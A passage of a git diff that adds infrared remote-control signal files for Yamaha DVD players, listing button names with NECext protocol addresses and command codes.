parsed +protocol: NECext +address: 04 00 00 00 +command: F7 00 00 00 +# +name: ZOOM_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Player/124,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Player/124,-1.ir new file mode 100644 index 000000000..4ac9b7c53 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Player/124,-1.ir @@ -0,0 +1,1634 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 80 00 00 00 +# +name: STANDBY/ON +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 80 00 00 00 +# +name: POWER:_TOGGLE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 80 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 80 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 80 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 80 00 00 00 +# +name: POWER_(TOGGLE) +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 80 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 81 00 00 00 +# +name: FUNCTN:_OPEN/CLOSE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 81 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 82 00 00 00 +# +name: FUNCTN:_PLAY +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 82 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 83 00 00 00 +# +name: FUNCTN:_PAUSE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 83 00 00 00 +# +name: PAUSE_(STEP_+) +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 83 00 00 00 +# +name: PAUSE/STOP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 84 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 85 00 00 00 +# +name: FUNCTN:_STOP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 85 00 00 00 +# +name: SEARCH/SLOW_REV +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 86 00 00 00 +# +name: SEARCH_< +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 86 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 86 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 86 00 00 00 +# +name: SEARCH_REV +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 86 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 86 00 00 00 +# +name: FUNCTN:_SEARCH- +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 86 00 00 00 +# +name: SEARCH_-_(<<) +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 86 00 00 00 +# +name: SEARCH_- +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 86 00 00 00 +# +name: SCAN_DOWN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 86 00 00 00 +# +name: SEARCH/SLOW_FWD +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 87 00 00 00 +# +name: SEARCH_> +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 87 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 87 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 87 00 00 00 +# +name: SEARCH_FWD +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 87 00 00 00 +# +name: FFWD +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 87 00 00 00 +# +name: FUNCTN:_SEARCH+ +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 87 00 00 00 +# +name: SEARCH_+_(>>) +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 87 00 00 00 +# +name: SEARCH_+ +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 87 00 00 00 +# +name: SCAN_UP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 87 00 00 00 +# +name: SKIP_< +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 88 00 00 00 +# +name: SKIP_> +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 89 00 00 00 +# +name: FUNCTN:_DISC_SKIP- +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 8A 00 00 00 +# +name: DISC_SKIP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 8B 00 00 00 +# +name: FUNCTN:_DISC_SKIP+ +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 8B 00 00 00 +# +name: INDEX_- +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 8C 00 00 00 +# +name: INDEX_+ +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 8D 00 00 00 +# +name: SLOW_- +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 8E 00 00 00 +# +name: SLOW_+ +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 8F 00 00 00 +# +name: STEP_< +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 91 00 00 00 +# +name: STEP_> +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 92 00 00 00 +# +name: PLAY_/_PAUSE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 92 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 93 00 00 00 +# +name: NUMERIC:_0 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 93 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 94 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 94 00 00 00 +# +name: NUMERIC:_1 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 94 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 94 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 95 00 00 00 +# +name: NUMERIC:_2 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 95 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 95 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 96 00 00 00 +# +name: NUMERIC:_3 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 96 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 96 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 97 00 00 00 +# +name: NUMERIC:_4 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 97 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 97 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 98 00 00 00 +# +name: NUMERIC:_5 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 98 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 98 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 99 00 00 00 +# +name: NUMERIC:_6 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 99 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 99 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9A 00 00 00 +# +name: NUMERIC:_7 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9A 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9A 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9B 00 00 00 +# +name: NUMERIC:_8 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9B 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9B 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9C 00 00 00 +# +name: NUMERIC:_9 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9C 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9C 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9D 00 00 00 +# +name: >10 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9D 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9D 00 00 00 +# +name: NUMERIC:_+10/_>10 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9D 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9E 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9F 00 00 00 +# +name: CANCEL_(CLEAR) +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9F 00 00 00 +# +name: PROG:_CANCEL/CLEAR +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9F 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9F 00 00 00 +# +name: TITLE/INDEX +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9F 00 00 00 +# +name: CANCEL/CLEAR +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9F 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A0 00 00 00 +# +name: PROG:_PROGRAM +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A0 00 00 00 +# +name: CANCEL_(CLEAR) +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A0 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A1 00 00 00 +# +name: PROG:_RANDOM +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A1 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A1 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A2 00 00 00 +# +name: REP_MODE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A3 00 00 00 +# +name: PROG:_REPEAT_MODE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A3 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A3 00 00 00 +# +name: REPEART_MODE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A3 00 00 00 +# +name: REPEAT_MODE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A3 00 00 00 +# +name: REP_A-B +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A4 00 00 00 +# +name: PROG:_REPEAT_A-B +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A4 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A4 00 00 00 +# +name: REPEAR_A-B +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A4 00 00 00 +# +name: REPEAT_A-B +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A4 00 00 00 +# +name: SIDE_A/B +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A4 00 00 00 +# +name: AUTO_SPACE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A5 00 00 00 +# +name: ON_SCREEN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A6 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A6 00 00 00 +# +name: SET:_DISPLAY_TOGGLE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A6 00 00 00 +# +name: DISPLAY_ON/OFF +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A6 00 00 00 +# +name: OSD_TOG +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A6 00 00 00 +# +name: DISPLAY_TOG +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A6 00 00 00 +# +name: ON-SCREEN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A6 00 00 00 +# +name: STATUS +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A8 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A8 00 00 00 +# +name: SET:_TIME +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A8 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A9 00 00 00 +# +name: SET:_DIMMER +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A9 00 00 00 +# +name: SUBTITLE_ON/OFF +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: AA 00 00 00 +# +name: SET:_SUBTITLE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: AA 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: AA 00 00 00 +# +name: SUBTITILE_ON/OFF +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: AA 00 00 00 +# +name: SUB_TITLE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: AA 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: AB 00 00 00 +# +name: SUBTITLE_2 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: AB 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: AC 00 00 00 +# +name: SET:_SETUP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: AC 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: AD 00 00 00 +# +name: SET:_AUDIO +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: AD 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: AD 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: AE 00 00 00 +# +name: SET:_ANGLE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: AE 00 00 00 +# +name: TOP_MENU/_DIR.NAV. +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B1 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B1 00 00 00 +# +name: FUNCTN:_TOP_MENU +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B1 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B1 00 00 00 +# +name: TOP_MENU/RETURN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B1 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B1 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B2 00 00 00 +# +name: FUNCTN:_MENU +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B2 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B3 00 00 00 +# +name: FUNCTN:_CURSOR_DOWN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B3 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B3 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B3 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B4 00 00 00 +# +name: FUNCTN:_CURSOR_UP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B4 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B4 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B4 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B5 00 00 00 +# +name: FUNCTN:_CURSOR_LEFT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B5 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B5 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B5 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B6 00 00 00 +# +name: FUNCTN:_CURSOR_RIGHT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B6 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B6 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B6 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B7 00 00 00 +# +name: FUNCTN:_RETURN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B7 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B8 00 00 00 +# +name: SELECT_(ENTER) +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B8 00 00 00 +# +name: FUNCTN:_SELECT/ENTER +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B8 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B8 00 00 00 +# +name: ENTER/SELECT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B8 00 00 00 +# +name: ENTER/OK +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B8 00 00 00 +# +name: CURSOR_ENTER/OK +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B8 00 00 00 +# +name: SKIP_REV +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B9 00 00 00 +# +name: SKIP_/_SEARCH_< +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B9 00 00 00 +# +name: FUNCTN:_SKIP- +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B9 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B9 00 00 00 +# +name: SKIP/SEARCH_< +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B9 00 00 00 +# +name: SKIP/SEARCH_REV +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B9 00 00 00 +# +name: SKIP_- +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B9 00 00 00 +# +name: SKIP/SEARCH_- +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B9 00 00 00 +# +name: SKIP_DOWN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B9 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B9 00 00 00 +# +name: SKIP_FWD +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: BA 00 00 00 +# +name: SKIP_/_SEARCH_> +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: BA 00 00 00 +# +name: FUNCTN:_SKIP+ +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: BA 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: BA 00 00 00 +# +name: SKIP/SEARCH_> +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: BA 00 00 00 +# +name: SKIP/SEARCH_FWD +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: BA 00 00 00 +# +name: SKIP_+ +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: BA 00 00 00 +# +name: SKIP/SEARCH_+ +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: BA 00 00 00 +# +name: SKIP_UP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: BA 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: BA 00 00 00 +# +name: MULTI_SPEED +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: BB 00 00 00 +# +name: DISC_MODE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: BC 00 00 00 +# +name: PLAY_MODE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: BD 00 00 00 +# +name: PLAY_MODE:_TOG +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: BD 00 00 00 +# +name: POP-UP_MENU +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: CF 00 00 00 +# +name: SUB_MENU +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D0 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D1 00 00 00 +# +name: FUNCTN:_DISC_1 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D1 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D2 00 00 00 +# +name: FUNCTN:_DISC_2 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D2 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D3 00 00 00 +# +name: FUNCTN:_DISC_3 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D3 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D4 00 00 00 +# +name: FUNCTN:_DISC_4 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D4 00 00 00 +# +name: DISC_5 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D5 00 00 00 +# +name: FUNCTN:_DISC_5 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D5 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D7 00 00 00 +# +name: MARKER +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D8 00 00 00 +# +name: SET:_MARKER +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D8 00 00 00 +# +name: VIDEO_ON/OFF +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D9 00 00 00 +# +name: AUDIO_DIRECT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D9 00 00 00 +# +name: AUDIO_DIRECT_(VID) +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D9 00 00 00 +# +name: SET:_VIDEO_TOGGLE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D9 00 00 00 +# +name: AUDIO_DIR(VIDON/OFF) +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D9 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D9 00 00 00 +# +name: PROGRESSIVE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: DA 00 00 00 +# +name: SET:_PROGRESSIVE_TOG +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: DA 00 00 00 +# +name: TEXT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: DB 00 00 00 +# +name: GROUP_- +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: DC 00 00 00 +# +name: GROUP_+ +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: DD 00 00 00 +# +name: GROUP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: DD 00 00 00 +# +name: SET:_GROUP+ +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: DD 00 00 00 +# +name: PAGE_- +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: DE 00 00 00 +# +name: PAGE- +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: DE 00 00 00 +# +name: PAGE_+ +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: DF 00 00 00 +# +name: PAGE+ +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: DF 00 00 00 +# +name: SET:_PAGE+ +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: DF 00 00 00 +# +name: SET:_PLAYER_MODE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: E0 00 00 00 +# +name: MULTI/2CH +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: E1 00 00 00 +# +name: SET:_MULTI/2CH +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: E1 00 00 00 +# +name: MULTI_/_2CH. +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: E1 00 00 00 +# +name: SCAN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: E2 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: E4 00 00 00 +# +name: HDMI +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: E5 00 00 00 +# +name: HDMI_ON/OFF +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: E5 00 00 00 +# +name: INPUT:_USB +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: E6 00 00 00 +# +name: FUNCTIONS +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: E8 00 00 00 +# +name: A_(RED) +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: E9 00 00 00 +# +name: B_(GREEN) +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: EA 00 00 00 +# +name: C_(BLUE) +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: EB 00 00 00 +# +name: D_(YELLOW) +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: EC 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: ED 00 00 00 +# +name: SECONDARY_AUDIO +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: EE 00 00 00 +# +name: BD/SD +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: EF 00 00 00 +# +name: PLAY_MODE:_NORMAL +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F0 00 00 00 +# +name: NORMAL_PLAY_MODE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F0 00 00 00 +# +name: PLAY_MODE_NORMAL +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F0 00 00 00 +# +name: PLAYMODE_-_NORMAL +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F0 00 00 00 +# +name: PLAY_MODE_-_NORMAL +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F0 00 00 00 +# +name: PLAY_-_NORMAL +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F0 00 00 00 +# +name: PLAY_MODE:_RANDOM +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F1 00 00 00 +# +name: RANDOM_PLAY_MODE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F1 00 00 00 +# +name: PLAY_MODE_RANDOM +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F1 00 00 00 +# +name: PLAYMODE_-_RANDOM +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F1 00 00 00 +# +name: PLAY_MODE_-_RANDOM +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F1 00 00 00 +# +name: PLAY_-_RANDOM +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F1 00 00 00 +# +name: PLAY_MODE:_PROGRAM +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F2 00 00 00 +# +name: PROGRAM_MODE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F2 00 00 00 +# +name: PLAY_MODE_PROGRAM +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F2 00 00 00 +# +name: PLAY_MODE_-_PROGRAM +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F2 00 00 00 +# +name: PLAY_-_PROGRAM +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F2 00 00 00 +# +name: PROG:_REPEAT_OFF +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F3 00 00 00 +# +name: REPEAT_MODE_OFF +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F3 00 00 00 +# +name: REPEAT_OFF +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F3 00 00 00 +# +name: PROG:_REPEAT_ALL +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F5 00 00 00 +# +name: ALL_DISC_REPEAT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F5 00 00 00 +# +name: REPEAT_ALL +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F5 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F6 00 00 00 +# +name: POWER:_ON +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F6 00 00 00 +# +name: REPEAT_OFF +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F6 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F6 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F7 00 00 00 +# +name: POWER:_OFF +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F7 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Player/176,0.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Player/176,0.ir new file mode 100644 index 000000000..29b704f47 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Player/176,0.ir @@ -0,0 +1,524 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 00 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 01 00 00 00 +# +name: SEARCH_<< +type: parsed 